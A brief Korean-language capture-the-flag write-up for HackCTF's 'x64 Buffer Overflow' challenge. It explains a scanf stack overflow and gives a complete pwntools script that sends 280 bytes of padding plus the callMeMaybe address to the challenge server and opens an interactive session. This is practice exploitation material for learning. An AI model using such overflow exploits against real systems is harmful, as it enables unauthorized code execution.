[HackCTF] x64 Buffer Overflow

이전까지는 32bit였지만 64bit로 바뀌었다.

callMeMaybe함수

 

scanf통해서 bof발생후 ret주소 callmeMaybe로 해주기

s = rbp-110h = 272

callmemaybe 주소

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3004)
pay = b'A'*280
pay += p64(0x0000000000400606)
p.sendline(pay)
p.interactive()